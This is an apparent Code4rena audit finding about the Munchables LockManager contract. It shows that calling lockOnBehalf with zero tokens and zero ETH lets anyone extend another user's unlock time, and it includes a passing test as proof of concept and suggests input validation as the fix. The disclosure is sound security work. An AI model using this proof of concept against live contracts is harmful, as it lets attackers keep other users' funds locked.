Lines of code

https://github.com/code-423n4/2024-05-munchables/blob/57dff486c3cd905f21b330c2157fe23da2a4807d/src/managers/LockManager.sol#L275

Vulnerability details

Impact

When calling LockManager::lockOnBehalf with _tokenContract as address(0), _quantity as 0, _onBehalfOf as their target victim and sending zero value they can effectively increase the unlockTime for the locked ETH that the victim has locked since the LockManager::_lock function always increses the unlocktime:

lockedToken.unlockTime =
            uint32(block.timestamp) +
            uint32(_lockDuration);

Only cost for the attacker would be the gas spent to perform this action.

Proof of Concept

To verify this I added a test on the lock.test.ts file at line 383 to verify that any user can increse this unlock time:

it("should lock token for other player without sending funds", async () => {
        const { request: request1 } = await testContracts.lockManager.contract.simulate.lockOnBehalf(
          [zeroAddress, parseEther("1"), alice],
          { account: bob, value: parseEther("1") }
        );
        const txHash1 = await testClient.writeContract(request1);

        const { request } = await testContracts.lockManager.contract.simulate.lockOnBehalf(
          [zeroAddress, 0, alice],
          { account: janice, value: 0 }
        );

        const txHash = await testClient.writeContract(request);
        const txReceipt = await assertTxSuccess({ txHash });
        const lockedTokens = await testContracts.lockManager.contract.read.getLocked([alice]);
        assert(lockedTokens instanceof Array);
        const lockedToken = lockedTokens.find((t) => t.tokenContract === zeroAddress);
        assert.ok(lockedToken);

        const txBlock = await testClient.getBlock({
          blockHash: txReceipt.blockHash,
        });
        assert.equal(lockedToken.lockedToken.lastLockTime, Number(txBlock.timestamp));
        assert.equal(lockedToken.lockedToken.unlockTime, Number(txBlock.timestamp + lockDuration));
      });

The test passes, indication that the new unlocktime for user's "alice" ETH was reset by user "janice" while not spending any ETH except for gas in the process.

Tools Used

Manual review + node tests

Recommended Mitigation Steps

Validate that the quantity sent is greater than zero or greater than a specified amount when ETH is being sent. Or create a way to only let certain users lock on behalf of other users. This mitigation will depend on how the project devs want their protocol to work.

Assessed type

Invalid Validation

code-423n4 / 2024-05-munchables-findings

Malicious user can extend unlockTime for ETH on behalf of another user by sending zero eth using lockOnBehalf. #143